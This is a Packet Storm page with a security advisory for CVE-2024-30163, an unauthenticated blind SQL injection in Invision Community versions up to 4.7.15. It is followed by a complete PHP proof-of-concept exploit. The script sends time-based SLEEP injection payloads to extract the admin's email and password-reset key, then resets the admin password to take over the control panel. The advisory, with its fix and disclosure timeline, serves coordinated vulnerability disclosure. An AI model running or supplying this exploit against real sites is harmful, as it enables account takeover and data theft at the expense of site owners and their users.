exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Invision Community 4.7.15 SQL Injection

Invision Community 4.7.15 SQL Injection
Posted Apr 8, 2024
Authored by EgiX | Site karmainsecurity.com

Invision Community versions 4.4.0 through 4.7.15 suffer from a remote SQL injection vulnerability in store.php.

tags | exploit, remote, php, sql injection
advisories | CVE-2024-30163
SHA-256 | f3e99d07ab1ab0d469a1a39ceb456ac6dc86fdcbd9071ad8690ce38ecca5a7ff

Invision Community 4.7.15 SQL Injection

Change Mirror Download
--------------------------------------------------------------------
Invision Community <= 4.7.15 (store.php) SQL Injection Vulnerability
--------------------------------------------------------------------


[-] Software Link:

https://invisioncommunity.com


[-] Affected Versions:

All versions from 4.4.0 to 4.7.15.


[-] Vulnerability Description:

The vulnerability is located in the
/applications/nexus/modules/front/store/store.php script.
Specifically, into the
IPS\nexus\modules\front\store\_store::_categoryView() method:

126 /* Apply Filters */
127 if ( isset( \IPS\Request::i()->filter ) and \is_array(
\IPS\Request::i()->filter ) )
128 {
129 $url = $url->setQueryString( 'filter', \IPS\Request::i()->filter );
130 foreach ( \IPS\Request::i()->filter as $filterId => $allowedValues )
131 {
132 $where[] = array( \IPS\Db::i()->findInSet(
"filter{$filterId}.pfm_values", array_map( 'intval', explode( ',',
$allowedValues ) ) ) );
133 $joins[] = array( 'table' => array( 'nexus_package_filters_map',
"filter{$filterId}" ), 'on' => array(
"filter{$filterId}.pfm_package=p_id AND
filter{$filterId}.pfm_filter=?", $filterId ) );
134 }
135 }

User input passed through the "filter" request parameter is not
properly sanitized before being
assigned to the $where and $joins variables (lines 132 and 133), which
are later used to execute
some SQL queries. This can be exploited by unauthenticated attackers
to carry out time-based or
error-based Blind SQL Injection attacks. Subsequently, this might also
be exploited to reset
users' passwords and gain unauthorized access to the AdminCP, in order
to achieve
Remote Code Execution (RCE). Successful exploitation of this
vulnerability requires
the nexus application to be installed and configured with one "Product
Group" at least.


[-] Proof of Concept:

https://karmainsecurity.com/pocs/CVE-2024-30163.php


[-] Solution:

Upgrade to version 4.7.16 or later.


[-] Disclosure Timeline:

[08/01/2024] - Vulnerability details sent to SSD Secure Disclosure
[12/03/2024] - Version 4.7.16 released
[20/03/2024] - CVE identifier requested
[24/03/2024] - CVE identifier assigned
[05/04/2024] - Coordinated public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2024-30163 to this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Other References:

https://invisioncommunity.com/release-notes/4716-r128/
https://ssd-disclosure.com/ssd-advisory-ip-board-nexus-rce-and-blind-sqli/


[-] Original Advisory:

http://karmainsecurity.com/KIS-2024-02


-----------------------
PoC:

<?php

/*
--------------------------------------------------------------------
Invision Community <= 4.7.15 (store.php) SQL Injection Vulnerability
--------------------------------------------------------------------

author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://invisioncommunity.com

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] Vulnerability Description:

The vulnerability is located in the /applications/nexus/modules/front/store/store.php script.
Specifically, into the IPS\nexus\modules\front\store\_store::_categoryView() method: user
input passed through the "filter" request parameter is not properly sanitized before being
assigned to the $where and $joins variables, which are later used to execute some SQL
queries. This can be exploited by unauthenticated attackers to carry out time-based
or error-based SQL Injection attacks.

[-] Original Advisory:

https://karmainsecurity.com/KIS-2024-02
*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[-] cURL extension required!\n");

if ($argc != 2) die("\nUsage: php $argv[0] <URL>\n\n");

$url = $argv[1];
$ch = curl_init();
$sec = 3; // number of seconds for SLEEP(): less seconds, less accurate

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/store/");

function sql_injection($sql)
{
global $ch, $sec;

$min = true;
$idx = 1;

while(1)
{
$test = 256;

for ($i = 7; $i >= 0; $i--)
{
$test = $min ? ($test - pow(2, $i)) : ($test + pow(2, $i));
$injection = "` ON 1 UNION SELECT IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},1,SLEEP({$sec})) OR ?=?#";
curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf("cat=1&filter[%s]=1", rawurlencode($injection)));
$start = time(); curl_exec($ch); $secs = time() - $start;
$min = ($secs < $sec);
}

if (($chr = $min ? ($test - 1) : ($test)) == 0) break;
$data .= chr($chr); $min = true; $idx++;
print "\r[*] Data: {$data}";
}

return $data;
}

print "[+] Step 1: fetching admin's e-mail address\n";

$email = sql_injection("SELECT email FROM core_members WHERE member_id=1");

print "\n[+] Step 2: go to {$url}index.php?/lostpassword/ and request a password reset by using the above e-mail. When you're done press enter.";

fgets(STDIN);

print "[+] Step 3: fetching the password reset key\n";

$vid = sql_injection("SELECT vid FROM core_validating WHERE member_id=1 AND lost_pass=1 ORDER BY entry_date DESC LIMIT 1");

print "\n[+] Step 4: taking over the admin account by resetting their password\n";

@unlink('./cookies.txt');

curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/lostpassword/");
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');

if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");

$passwd = md5(time());
$params = "do=validate&vid={$vid}&mid=1&password={$passwd}&password_confirm={$passwd}&resetpass_submitted=1&csrfKey={$csrf[1]}";

curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

if (!preg_match("/301 Moved Permanently/i", curl_exec($ch))) die("[-] Attack failed!\n");

print "[+] Done! You can log into the AdminCP with {$email}:{$passwd}\n";

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close